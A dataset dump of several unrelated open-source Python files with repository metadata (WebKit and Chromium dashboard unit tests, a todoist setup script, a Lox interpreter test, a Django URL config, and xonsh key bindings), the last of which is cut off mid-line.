Tools/Scripts/webkitpy/tool/steps/update_unittest.py

jacadcaps/webkitty

9aebd2081349f9a7b5d168673c6f676a1450a66d

[ "BSD-2-Clause" ]

null

# Copyright (C) 2011 Google Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # * Redistributions in binary form must reproduce the above # copyright notice, this list of conditions and the following disclaimer # in the documentation and/or other materials provided with the # distribution. # * Neither the name of Google Inc. nor the names of its # contributors may be used to endorse or promote products derived from # this software without specific prior written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS # "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT # LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR # A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT # OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, # SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT # LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, # DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY # THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT # (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE # OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import unittest from webkitpy.common.config.ports import MacPort, MacWK2Port from webkitpy.tool.mocktool import MockOptions, MockTool from webkitpy.tool.steps.update import Update class UpdateTest(unittest.TestCase): def test_update_command_non_interactive(self): tool = MockTool() options = MockOptions(non_interactive=True) step = Update(tool, options) self.assertEqual(["mock-update-webkit"], step._update_command()) tool._deprecated_port = MacPort() self.assertEqual(["Tools/Scripts/update-webkit"], step._update_command()) tool._deprecated_port = MacWK2Port() self.assertEqual(["Tools/Scripts/update-webkit"], step._update_command()) def test_update_command_interactive(self): tool = MockTool() options = MockOptions(non_interactive=False) step = Update(tool, options) self.assertEqual(["mock-update-webkit"], step._update_command()) tool._deprecated_port = MacPort() self.assertEqual(["Tools/Scripts/update-webkit"], step._update_command()) tool._deprecated_port = MacWK2Port() self.assertEqual(["Tools/Scripts/update-webkit"], step._update_command())

44.803279

81

0.749726

d74b324b256310dd42659b194a31eefeac0fc9de

1,177

py

Python

setup.py

sushilkanathia/todoist-python

d277e8294eeec2f23445ec26a1dc11367e451930

[ "MIT" ]

null

setup.py

sushilkanathia/todoist-python

d277e8294eeec2f23445ec26a1dc11367e451930

[ "MIT" ]

null

setup.py

sushilkanathia/todoist-python

d277e8294eeec2f23445ec26a1dc11367e451930

[ "MIT" ]

null

# -*- coding: utf-8 -*- #The OS module in python provides functions for interacting with the operating system. OS, comes under Python's standard utility modules. import os #Setuptools is a package development process library designed to facilitate packaging Python projects by enhancing the Python standard library distutils. from setuptools import setup def read(fname): try: return open(os.path.join(os.path.dirname(__file__), fname)).read() except Exception: return "" #Internal Process setup( name="todoist-python", version="8.1.2", packages=["todoist", "todoist.managers"], author="Doist Team", author_email="info@todoist.com", license="BSD", description="todoist-python - The official Todoist Python API library", long_description=read("README.md"), install_requires=[ "requests", "typing;python_version<'3.5'", ], # see here for complete list of classifiers # http://pypi.python.org/pypi?%3Aaction=list_classifiers classifiers=( "Intended Audience :: Developers", "License :: OSI Approved :: BSD License", "Programming Language :: Python", ), )

31.810811

153

0.683093

0453689c0f49be882bf8832f16ed3d96188fc9df

666

py

Python

tests/method/test_method_print_bound_method.py

sco1/pylox

b4820828306c20cee3f8533c2547fafb92c6c1bd

[ "MIT" ]

2

2021-12-18T01:52:50.000Z

2022-01-17T19:41:52.000Z

tests/method/test_method_print_bound_method.py

sco1/pylox

b4820828306c20cee3f8533c2547fafb92c6c1bd

[ "MIT" ]

18

2021-11-30T04:05:53.000Z

2022-02-01T03:30:04.000Z

tests/method/test_method_print_bound_method.py

sco1/pylox

b4820828306c20cee3f8533c2547fafb92c6c1bd

[ "MIT" ]

null

from textwrap import dedent import pytest from pylox.lox import Lox # Base cases from https://github.com/munificent/craftinginterpreters/blob/master/test/method/print_bound_method.lox TEST_SRC = dedent( """\ class Foo { method() { } } var foo = Foo(); print foo.method; // expect: <fn method> """ ) EXPECTED_STDOUTS = ["<fn method>"] def test_print_bound_method(capsys: pytest.CaptureFixture) -> None: interpreter = Lox() interpreter.run(TEST_SRC) assert not interpreter.had_error assert not interpreter.had_runtime_error all_out = capsys.readouterr().out.splitlines() assert all_out == EXPECTED_STDOUTS

22.2

115

0.701201

d05644267a753a63685ad8b0fd6897473430c213

750

py

Python

untitled/untitled/urls.py

EvgenDEP1/untitled

66e33b5f4114f5cc86575f6a242ceefde84a7165

[ "Apache-2.0" ]

null

untitled/untitled/urls.py

EvgenDEP1/untitled

66e33b5f4114f5cc86575f6a242ceefde84a7165

[ "Apache-2.0" ]

null

untitled/untitled/urls.py

EvgenDEP1/untitled

66e33b5f4114f5cc86575f6a242ceefde84a7165

[ "Apache-2.0" ]

null

"""untitled URL Configuration The `urlpatterns` list routes URLs to views. For more information please see: https://docs.djangoproject.com/en/2.2/topics/http/urls/ Examples: Function views 1. Add an import: from my_app import views 2. Add a URL to urlpatterns: path('', views.home, name='home') Class-based views 1. Add an import: from other_app.views import Home 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home') Including another URLconf 1. Import the include() function: from django.urls import include, path 2. Add a URL to urlpatterns: path('blog/', include('blog.urls')) """ from django.contrib import admin from django.urls import path urlpatterns = [ path('admin/', admin.site.urls), ]

34.090909

77

0.709333

7d7956a4a4a648d8a2212f423b26901429d7c12a

16,345

py

Python

dashboard/dashboard/speed_releasing_test.py

PLSV/catapult

88e5b1f40c89c4b80d3dd56a722936d07f222a55

[ "BSD-3-Clause" ]

null

dashboard/dashboard/speed_releasing_test.py

PLSV/catapult

88e5b1f40c89c4b80d3dd56a722936d07f222a55

[ "BSD-3-Clause" ]

6

2020-07-19T21:51:44.000Z

2022-02-13T08:22:58.000Z

dashboard/dashboard/speed_releasing_test.py

PLSV/catapult

88e5b1f40c89c4b80d3dd56a722936d07f222a55

[ "BSD-3-Clause" ]

1

2020-07-24T18:22:03.000Z

# Copyright 2017 The Chromium Authors. All rights reserved. # Use of this source code is governed by a BSD-style license that can be # found in the LICENSE file. from __future__ import print_function from __future__ import division from __future__ import absolute_import import webapp2 import webtest from google.appengine.ext import ndb from dashboard import speed_releasing from dashboard.common import datastore_hooks from dashboard.common import testing_common from dashboard.common import utils from dashboard.models import anomaly from dashboard.models import graph_data from dashboard.models import table_config _SAMPLE_BOTS = ['ChromiumPerf/win', 'ChromiumPerf/linux'] _DOWNSTREAM_BOTS = ['ClankInternal/win', 'ClankInternal/linux'] _SAMPLE_TESTS = ['my_test_suite/my_test', 'my_test_suite/my_other_test'] _SAMPLE_LAYOUT = ('{ "my_test_suite/my_test": ["Foreground", ' '"Pretty Name 1"],"my_test_suite/my_other_test": ' ' ["Foreground", "Pretty Name 2"]}') RECENT_REV = speed_releasing.CHROMIUM_MILESTONES[ speed_releasing.CURRENT_MILESTONE][0] + 42 class SpeedReleasingTest(testing_common.TestCase): def setUp(self): super(SpeedReleasingTest, self).setUp() app = webapp2.WSGIApplication([( r'/speed_releasing/(.*)', speed_releasing.SpeedReleasingHandler)]) self.testapp = webtest.TestApp(app) testing_common.SetSheriffDomains(['chromium.org']) testing_common.SetIsInternalUser('internal@chromium.org', True) self.SetCurrentUser('internal@chromium.org', is_admin=True) def tearDown(self): super(SpeedReleasingTest, self).tearDown() self.UnsetCurrentUser() def _AddInternalBotsToDataStore(self): """Adds sample bot/master pairs.""" master_key = ndb.Key('Master', 'ChromiumPerf') graph_data.Bot( id='win', parent=master_key, internal_only=True).put() graph_data.Bot( id='linux', parent=master_key, internal_only=True).put() def _AddPublicBotsToDataStore(self): """Adds sample bot/master pairs.""" master_key = ndb.Key('Master', 'ChromiumPerf') graph_data.Bot( id='win', parent=master_key, internal_only=False).put() graph_data.Bot( id='linux', parent=master_key, internal_only=False).put() def _AddTableConfigDataStore(self, name, is_internal, is_downstream=False): """Add sample internal only tableConfig.""" keys = self._AddTests(is_downstream) if is_internal: self._AddInternalBotsToDataStore() else: self._AddPublicBotsToDataStore() table_config.CreateTableConfig( name=name, bots=_SAMPLE_BOTS if not is_downstream else _DOWNSTREAM_BOTS, tests=_SAMPLE_TESTS, layout=_SAMPLE_LAYOUT, username='internal@chromium.org', override=0) return keys def _AddTests(self, is_downstream): master = 'ClankInternal' if is_downstream else 'ChromiumPerf' testing_common.AddTests([master], ['win', 'linux'], { 'my_test_suite': { 'my_test': {}, 'my_other_test': {}, }, }) keys = [ utils.TestKey(master + '/win/my_test_suite/my_test'), utils.TestKey(master + '/win/my_test_suite/my_other_test'), utils.TestKey(master + '/linux/my_test_suite/my_test'), utils.TestKey(master + '/linux/my_test_suite/my_other_test'), ] for test_key in keys: test = test_key.get() test.units = 'timeDurationInMs' test.put() return keys def _AddAlertsWithDifferentMasterAndBenchmark(self): """Adds 10 alerts with different benchmark/master.""" master = 'FakeMaster' testing_common.AddTests([master], ['win'], { 'my_fake_suite': { 'my_fake_test': {}, }, }) keys = [ utils.TestKey(master + '/win/my_fake_suite/my_fake_test'), ] self._AddRows(keys) self._AddAlertsToDataStore(keys) def _AddAlertsToDataStore(self, test_keys): """Adds sample data, including triaged and non-triaged alerts.""" key_map = {} for test_key in test_keys: test = test_key.get() test.improvement_direction = anomaly.DOWN test.put() # Add some (10 * len(keys)) non-triaged alerts. for end_rev in range(420500, 421500, 100): for test_key in test_keys: ref_test_key = utils.TestKey('%s_ref' % utils.TestPath(test_key)) anomaly_entity = anomaly.Anomaly( start_revision=end_rev - 5, end_revision=end_rev, test=test_key, median_before_anomaly=100, median_after_anomaly=200, ref_test=ref_test_key) anomaly_entity.SetIsImprovement() anomaly_key = anomaly_entity.put() key_map[end_rev] = anomaly_key return key_map def _AddRows(self, keys): for key in keys: testing_common.AddRows(utils.TestPath(key), [1, 2, 3, RECENT_REV]) def _AddDownstreamRows(self, keys): revisions = [1, 2, 1485025126, 1485099999] for key in keys: testing_common.AddRows( utils.TestPath(key), revisions) for key in keys: for rev in revisions: row_key = utils.GetRowKey(key, rev) row = row_key.get() row.r_commit_pos = str(rev // 10000) row.a_default_rev = 'r_foo' row.r_foo = 'abcdefghijk' row.put() def testGet_ShowPage(self): response = self.testapp.get('/speed_releasing/') self.assertIn('speed-releasing-page', response) def testPost_InternalListPage(self): self._AddTableConfigDataStore('BestTable', True) self._AddTableConfigDataStore('SecondBestTable', True) self._AddTableConfigDataStore('ThirdBestTable', False) response = self.testapp.post('/speed_releasing/') self.assertIn('"show_list": true', response) self.assertIn('"list": ["BestTable", "SecondBestTable", ' '"ThirdBestTable"]', response) def testPost_ShowInternalTable(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?revA=1&revB=2') self.assertIn('"name": "BestTable"', response) self.assertIn('"table_bots": ["ChromiumPerf/win", ' '"ChromiumPerf/linux"]', response) self.assertIn('"table_tests": ["my_test_suite/my_test",' ' "my_test_suite/my_other_test"]', response) self.assertIn('"table_layout"', response) self.assertIn('"revisions": [2, 1]', response) self.assertIn('"display_revisions": [2, 1]', response) self.assertIn('"units": {"my_test_suite/my_test": "timeDurationInMs", ' '"my_test_suite/my_other_test": "timeDurationInMs"', response) self.assertIn('"categories": {"Foreground": 2}', response) self.assertIn('"values": {"1": {"ChromiumPerf/linux": ' '{"my_test_suite/my_test": 1.0, ' '"my_test_suite/my_other_test": 1.0}, ' '"ChromiumPerf/win": {"my_test_suite/my_test": 1.0, ' '"my_test_suite/my_other_test": 1.0}}, ' '"2": {"ChromiumPerf/linux": {"my_test_suite/my_test": ' '2.0, "my_test_suite/my_other_test": 2.0}, ' '"ChromiumPerf/win": {"my_test_suite/my_test": 2.0, ' '"my_test_suite/my_other_test": 2.0}}}', response) self.assertIn('"urls": {"ChromiumPerf/linux/my_test_suite/my_other_test": ' '"?masters=ChromiumPerf&start_rev=1&checked=my_other_test&' 'tests=my_test_suite%2Fmy_other_test&end_rev=2&bots=linux", ' '"ChromiumPerf/win/my_test_suite/my_other_test": ' '"?masters=ChromiumPerf&start_rev=1&checked=my_other_test&' 'tests=my_test_suite%2Fmy_other_test&end_rev=2&bots=win", ' '"ChromiumPerf/linux/my_test_suite/my_test": "?masters' '=ChromiumPerf&start_rev=1&checked=my_test&tests=' 'my_test_suite%2Fmy_test&end_rev=2&bots=linux", ' '"ChromiumPerf/win/my_test_suite/my_test": "?masters=' 'ChromiumPerf&start_rev=1&checked=my_test&tests=my_test_suite' '%2Fmy_test&end_rev=2&bots=win"}', response) def testPost_InternalListPageToExternalUser(self): self._AddTableConfigDataStore('BestTable', True) self._AddTableConfigDataStore('SecondBestTable', True) self._AddTableConfigDataStore('ThirdBestTable', False) self.UnsetCurrentUser() datastore_hooks.InstallHooks() response = self.testapp.post('/speed_releasing/') self.assertIn('"show_list": true', response) self.assertIn('"list": ["ThirdBestTable"]', response) def testPost_ShowInternalTableToExternalUser(self): self._AddTableConfigDataStore('BestTable', True) self.UnsetCurrentUser() self.testapp.post('/speed_releasing/BestTable?revA=1&revB=2', { }, status=500) # 500 means user can't see data. def testPost_TableWithTableNameThatDoesntExist(self): response = self.testapp.post('/speed_releasing/BestTable') self.assertIn('Invalid table name.', response) def testPost_TableWithNoRevParamsOnlyDownStream(self): keys = self._AddTableConfigDataStore('BestTable', True, True) self._AddDownstreamRows(keys) response = self.testapp.post('/speed_releasing/BestTable?revA=1485099999&' 'revB=1485025126') self.assertIn('"revisions": [1485099999, 1485025126]', response) self.assertIn('"display_revisions": ["148509-abc", "148502-abc"]', response) def testPost_TableWithMilestoneParam(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?m=56') self.assertIn('"revisions": [445288, 433400]', response) self.assertIn('"display_milestones": [56, 56]', response) self.assertIn('"navigation_milestones": [55, 57]', response) def testPost_TableWithNewestMilestoneParam(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) current_milestone = speed_releasing.CURRENT_MILESTONE response = self.testapp.post('/speed_releasing/BestTable?m=%s' % current_milestone) current_milestone_start_rev = speed_releasing.CHROMIUM_MILESTONES[ current_milestone][0] self.assertIn( '"revisions": [%s, %s]' % ( RECENT_REV, current_milestone_start_rev), response) self.assertIn( '"display_milestones": [%s, %s]' % ( current_milestone, current_milestone), response) self.assertIn( '"navigation_milestones": [%s, null]' % ( current_milestone - 1), response) def testPost_TableWithHighMilestoneParam(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?m=71') self.assertIn('"error": "No data for that milestone."', response) def testPost_TableWithLowMilestoneParam(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?m=7') self.assertIn('"error": "No data for that milestone."', response) def testPost_TableWithNoRevParams(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable') current_milestone_start_rev = speed_releasing.CHROMIUM_MILESTONES[ speed_releasing.CURRENT_MILESTONE][0] self.assertIn( '"revisions": [%s, %s]' % ( RECENT_REV, current_milestone_start_rev), response) def testPost_TableWithRevParamEndRevAlsoStartRev(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?revA=433400') self.assertIn('"revisions": [445288, 433400]', response) def testPost_TableWithOneRevParamUniqueEndRev(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?revA=423768') self.assertIn('"revisions": [423768, 416640]', response) self.assertIn('"display_milestones": [54, 54]', response) self.assertIn('"navigation_milestones": [null, 55]', response) def testPost_TableWithOneRevParamBetweenMilestones(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?revB=455000') self.assertIn('"revisions": [463842, 455000]', response) self.assertIn('"display_milestones": [58, 58]', response) def testPost_TableWithRevParamMiddleRev(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?revB=444000') self.assertIn('"revisions": [445288, 444000]', response) self.assertIn('"display_milestones": [56, 56]', response) def testPost_TableWithRevParamHighRev(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?revB=50000000') self.assertIn('"revisions": [50000000, %s]' % RECENT_REV, response) self.assertIn('"display_milestones": [%s, %s]' % (( speed_releasing.CURRENT_MILESTONE,)*2), response) def testPost_TableWithRevParamLowRev(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?revB=1') self.assertIn('"revisions": [%s, 1]' % RECENT_REV, response) self.assertIn('"display_milestones": [%s, %s]' % (( speed_releasing.CURRENT_MILESTONE,)*2), response) def testPost_TableWithRevsParamTwoMilestones(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?' 'revA=417000&revB=440000') self.assertIn('"revisions": [440000, 417000]', response) self.assertIn('"display_milestones": [54, 56]', response) self.assertIn('"navigation_milestones": [null, 56]', response) def testPost_TableWithRevsParamHigh(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?' 'revA=50000000&revB=60000000') self.assertIn('"revisions": [60000000, 50000000]', response) self.assertIn('"display_milestones": [%s, %s]' % (( speed_releasing.CURRENT_MILESTONE,)*2), response) def testPost_TableWithRevsParamSelfContained(self): keys = self._AddTableConfigDataStore('BestTable', True) self._AddRows(keys) response = self.testapp.post('/speed_releasing/BestTable?' 'revB=420000&revA=421000') self.assertIn('"revisions": [421000, 420000]', response) self.assertIn('"display_milestones": [54, 54]', response) def testPost_ReleaseNotes(self): keys = self._AddTableConfigDataStore('BestTable', True, False) self._AddRows(keys) self._AddAlertsToDataStore(keys) self._AddAlertsWithDifferentMasterAndBenchmark() response = self.testapp.post('/speed_releasing/BestTable?' 'revB=420000&revA=421000&anomalies=true') self.assertIn('"revisions": [421000, 420000]', response) # Make sure we aren't getting a table here instead of Release Notes. self.assertNotIn('"display_revisions"', response) # There are 50 anomalies total (5 tests on 10 revisions). 1 test does not # have the correct master/benchmark, so 4 valid tests. Further, the # revisions are [420500:421500:100] meaning that there are 6 revisions in # the url param's range. 6*4 = 24 anomalies that should be returned. anomaly_list = self.GetJsonValue(response, 'anomalies') self.assertEqual(len(anomaly.Anomaly.query().fetch()), 50) self.assertEqual(len(anomaly_list), 24) for alert in anomaly_list: self.assertEqual(alert['master'], 'ChromiumPerf') self.assertIn(alert['test'], ['my_test', 'my_other_test']) self.assertGreaterEqual(alert['end_revision'], 420000) self.assertLessEqual(alert['end_revision'], 421000)

43.355438

80

0.683451

0f40446a71d7f7175cd34aa9ab457e35c182fb6d

14,735

py

Python

xonsh/ptk_shell/key_bindings.py

meramsey/xonsh

5685ffc8b8aa921012b31dc8af02e14388b730e9

[ "BSD-2-Clause-FreeBSD" ]

4,716

2016-06-07T05:48:42.000Z

2022-03-31T22:30:15.000Z

xonsh/ptk_shell/key_bindings.py

meramsey/xonsh

5685ffc8b8aa921012b31dc8af02e14388b730e9

[ "BSD-2-Clause-FreeBSD" ]

3,644

2016-06-07T05:55:42.000Z

2022-03-31T13:25:57.000Z

xonsh/ptk_shell/key_bindings.py

agoose77/xonsh

7331d8aee50e8939f8fe4d5b7133ed3907f204f4

[ "BSD-2-Clause-FreeBSD" ]

576

2016-06-07T06:28:32.000Z

2022-03-31T02:46:15.000Z

# -*- coding: utf-8 -*- """Key bindings for prompt_toolkit xonsh shell.""" from prompt_toolkit import search from prompt_toolkit.application.current import get_app from prompt_toolkit.enums import DEFAULT_BUFFER from prompt_toolkit.filters import ( Condition, IsMultiline, HasSelection, EmacsInsertMode, ViInsertMode, IsSearching, ) from prompt_toolkit.keys import Keys from prompt_toolkit.input import ansi_escape_sequences from prompt_toolkit.key_binding.key_bindings import KeyBindings, KeyBindingsBase from prompt_toolkit.key_binding.bindings.named_commands import get_by_name from xonsh.aliases import xonsh_exit from xonsh.tools import ( check_for_partial_string, get_line_continuation, ends_with_colon_token, ) from xonsh.built_ins import XSH from xonsh.platform import ON_WINDOWS from xonsh.shell import transform_command DEDENT_TOKENS = frozenset(["raise", "return", "pass", "break", "continue"]) def carriage_return(b, cli, *, autoindent=True): """Preliminary parser to determine if 'Enter' key should send command to the xonsh parser for execution or should insert a newline for continued input. Current 'triggers' for inserting a newline are: - Not on first line of buffer and line is non-empty - Previous character is a colon (covers if, for, etc...) - User is in an open paren-block - Line ends with backslash - Any text exists below cursor position (relevant when editing previous multiline blocks) """ doc = b.document at_end_of_line = _is_blank(doc.current_line_after_cursor) current_line_blank = _is_blank(doc.current_line) env = XSH.env indent = env.get("INDENT") if autoindent else "" partial_string_info = check_for_partial_string(doc.text) in_partial_string = ( partial_string_info[0] is not None and partial_string_info[1] is None ) # indent after a colon if ends_with_colon_token(doc.current_line_before_cursor) and at_end_of_line: b.newline(copy_margin=autoindent) b.insert_text(indent, fire_event=False) # if current line isn't blank, check dedent tokens elif ( not current_line_blank and doc.current_line.split(maxsplit=1)[0] in DEDENT_TOKENS and doc.line_count > 1 ): b.newline(copy_margin=autoindent) b.delete_before_cursor(count=len(indent)) elif not doc.on_first_line and not current_line_blank: b.newline(copy_margin=autoindent) elif doc.current_line.endswith(get_line_continuation()): b.newline(copy_margin=autoindent) elif doc.find_next_word_beginning() is not None and ( any(not _is_blank(i) for i in doc.lines_from_current[1:]) ): b.newline(copy_margin=autoindent) elif not current_line_blank and not can_compile(doc.text): b.newline(copy_margin=autoindent) elif current_line_blank and in_partial_string: b.newline(copy_margin=autoindent) else: b.validate_and_handle() def _is_blank(line): return len(line.strip()) == 0 def can_compile(src): """Returns whether the code can be compiled, i.e. it is valid xonsh.""" src = src if src.endswith("\n") else src + "\n" src = transform_command(src, show_diff=False) src = src.lstrip() try: XSH.execer.compile(src, mode="single", glbs=None, locs=XSH.ctx) rtn = True except SyntaxError: rtn = False except Exception: rtn = True return rtn @Condition def tab_insert_indent(): """Check if <Tab> should insert indent instead of starting autocompletion. Checks if there are only whitespaces before the cursor - if so indent should be inserted, otherwise autocompletion. """ before_cursor = get_app().current_buffer.document.current_line_before_cursor return bool(before_cursor.isspace()) @Condition def tab_menu_complete(): """Checks whether completion mode is `menu-complete`""" return XSH.env.get("COMPLETION_MODE") == "menu-complete" @Condition def beginning_of_line(): """Check if cursor is at beginning of a line other than the first line in a multiline document """ app = get_app() before_cursor = app.current_buffer.document.current_line_before_cursor return bool( len(before_cursor) == 0 and not app.current_buffer.document.on_first_line ) @Condition def end_of_line(): """Check if cursor is at the end of a line other than the last line in a multiline document """ d = get_app().current_buffer.document at_end = d.is_cursor_at_the_end_of_line last_line = d.is_cursor_at_the_end return bool(at_end and not last_line) @Condition def should_confirm_completion(): """Check if completion needs confirmation""" return ( XSH.env.get("COMPLETIONS_CONFIRM") and get_app().current_buffer.complete_state ) # Copied from prompt-toolkit's key_binding/bindings/basic.py @Condition def ctrl_d_condition(): """Ctrl-D binding is only active when the default buffer is selected and empty. """ if XSH.env.get("IGNOREEOF"): return False else: app = get_app() buffer_name = app.current_buffer.name return buffer_name == DEFAULT_BUFFER and not app.current_buffer.text @Condition def autopair_condition(): """Check if XONSH_AUTOPAIR is set""" return XSH.env.get("XONSH_AUTOPAIR", False) @Condition def whitespace_or_bracket_before(): """Check if there is whitespace or an opening bracket to the left of the cursor""" d = get_app().current_buffer.document return bool( d.cursor_position == 0 or d.char_before_cursor.isspace() or d.char_before_cursor in "([{" ) @Condition def whitespace_or_bracket_after(): """Check if there is whitespace or a closing bracket to the right of the cursor""" d = get_app().current_buffer.document return bool( d.is_cursor_at_the_end_of_line or d.current_char.isspace() or d.current_char in ")]}" ) def wrap_selection(buffer, left, right=None): selection_state = buffer.selection_state for start, end in buffer.document.selection_ranges(): buffer.transform_region(start, end, lambda s: f"{left}{s}{right}") # keep the selection of the inner expression # e.g. `echo |Hello World|` -> `echo "|Hello World|"` buffer.cursor_position += 1 selection_state.original_cursor_position += 1 buffer.selection_state = selection_state def load_xonsh_bindings(ptk_bindings: KeyBindingsBase) -> KeyBindingsBase: """ Load custom key bindings. Parameters ---------- ptk_bindings : The default prompt toolkit bindings. We need these to add aliases to them. """ key_bindings = KeyBindings() handle = key_bindings.add has_selection = HasSelection() insert_mode = ViInsertMode() | EmacsInsertMode() if XSH.env["XONSH_CTRL_BKSP_DELETION"]: # Not all terminal emulators emit the same keys for backspace, therefore # ptk always maps backspace ("\x7f") to ^H ("\x08"), and all the backspace bindings are registered for ^H. # This means we can't re-map backspace and instead we register a new "real-ctrl-bksp" key. # See https://github.com/xonsh/xonsh/issues/4407 if ON_WINDOWS: # On windows BKSP is "\x08" and CTRL-BKSP is "\x7f" REAL_CTRL_BKSP = "\x7f" # PTK uses a second mapping from prompt_toolkit.input import win32 as ptk_win32 ptk_win32.ConsoleInputReader.mappings[b"\x7f"] = REAL_CTRL_BKSP # type: ignore else: REAL_CTRL_BKSP = "\x08" # Prompt-toolkit allows using single-character keys that aren't in the `Keys` enum. ansi_escape_sequences.ANSI_SEQUENCES[REAL_CTRL_BKSP] = REAL_CTRL_BKSP # type: ignore ansi_escape_sequences.REVERSE_ANSI_SEQUENCES[REAL_CTRL_BKSP] = REAL_CTRL_BKSP # type: ignore @handle(REAL_CTRL_BKSP, filter=insert_mode) def delete_word(event): """Delete a single word (like ALT-backspace)""" get_by_name("backward-kill-word").call(event) @handle(Keys.Tab, filter=tab_insert_indent) def insert_indent(event): """ If there are only whitespaces before current cursor position insert indent instead of autocompleting. """ env = XSH.env event.cli.current_buffer.insert_text(env.get("INDENT")) @handle(Keys.Tab, filter=~tab_insert_indent & tab_menu_complete) def menu_complete_select(event): """Start completion in menu-complete mode, or tab to next completion""" b = event.current_buffer if b.complete_state: b.complete_next() else: b.start_completion(select_first=True) @handle(Keys.ControlX, Keys.ControlE, filter=~has_selection) def open_editor(event): """Open current buffer in editor""" event.current_buffer.open_in_editor(event.cli) @handle(Keys.BackTab, filter=insert_mode) def insert_literal_tab(event): """Insert literal tab on Shift+Tab instead of autocompleting""" b = event.current_buffer if b.complete_state: b.complete_previous() else: env = XSH.env event.cli.current_buffer.insert_text(env.get("INDENT")) def generate_parens_handlers(left, right): @handle(left, filter=autopair_condition) def insert_left_paren(event): buffer = event.cli.current_buffer if has_selection(): wrap_selection(buffer, left, right) elif whitespace_or_bracket_after(): buffer.insert_text(left) buffer.insert_text(right, move_cursor=False) else: buffer.insert_text(left) @handle(right, filter=autopair_condition) def overwrite_right_paren(event): buffer = event.cli.current_buffer if buffer.document.current_char == right: buffer.cursor_position += 1 else: buffer.insert_text(right) generate_parens_handlers("(", ")") generate_parens_handlers("[", "]") generate_parens_handlers("{", "}") def generate_quote_handler(quote): @handle(quote, filter=autopair_condition) def insert_quote(event): buffer = event.cli.current_buffer if has_selection(): wrap_selection(buffer, quote, quote) elif buffer.document.current_char == quote: buffer.cursor_position += 1 elif whitespace_or_bracket_before() and whitespace_or_bracket_after(): buffer.insert_text(quote) buffer.insert_text(quote, move_cursor=False) else: buffer.insert_text(quote) generate_quote_handler("'") generate_quote_handler('"') @handle(Keys.Backspace, filter=autopair_condition) def delete_brackets_or_quotes(event): """Delete empty pair of brackets or quotes""" buffer = event.cli.current_buffer before = buffer.document.char_before_cursor after = buffer.document.current_char if any( [before == b and after == a for (b, a) in ["()", "[]", "{}", "''", '""']] ): buffer.delete(1) buffer.delete_before_cursor(1) @handle(Keys.ControlD, filter=ctrl_d_condition) def call_exit_alias(event): """Use xonsh exit function""" b = event.cli.current_buffer b.validate_and_handle() xonsh_exit([]) @handle(Keys.ControlJ, filter=IsMultiline() & insert_mode) @handle(Keys.ControlM, filter=IsMultiline() & insert_mode) def multiline_carriage_return(event): """Wrapper around carriage_return multiline parser""" b = event.cli.current_buffer carriage_return(b, event.cli) @handle(Keys.ControlJ, filter=should_confirm_completion) @handle(Keys.ControlM, filter=should_confirm_completion) def enter_confirm_completion(event): """Ignore <enter> (confirm completion)""" event.current_buffer.complete_state = None @handle(Keys.Escape, filter=should_confirm_completion) def esc_cancel_completion(event): """Use <ESC> to cancel completion""" event.cli.current_buffer.cancel_completion() @handle(Keys.Escape, Keys.ControlJ) def execute_block_now(event): """Execute a block of text irrespective of cursor position""" b = event.cli.current_buffer b.validate_and_handle() @handle(Keys.Left, filter=beginning_of_line) def wrap_cursor_back(event): """Move cursor to end of previous line unless at beginning of document """ b = event.cli.current_buffer b.cursor_up(count=1) relative_end_index = b.document.get_end_of_line_position() b.cursor_right(count=relative_end_index) @handle(Keys.Right, filter=end_of_line) def wrap_cursor_forward(event): """Move cursor to beginning of next line unless at end of document""" b = event.cli.current_buffer relative_begin_index = b.document.get_start_of_line_position() b.cursor_left(count=abs(relative_begin_index)) b.cursor_down(count=1) @handle(Keys.ControlM, filter=IsSearching()) @handle(Keys.ControlJ, filter=IsSearching()) def accept_search(event): search.accept_search() @handle(Keys.ControlZ) def skip_control_z(event): """Prevents the writing of ^Z to the prompt, if Ctrl+Z was pressed during the previous command. """ pass @handle(Keys.ControlX, 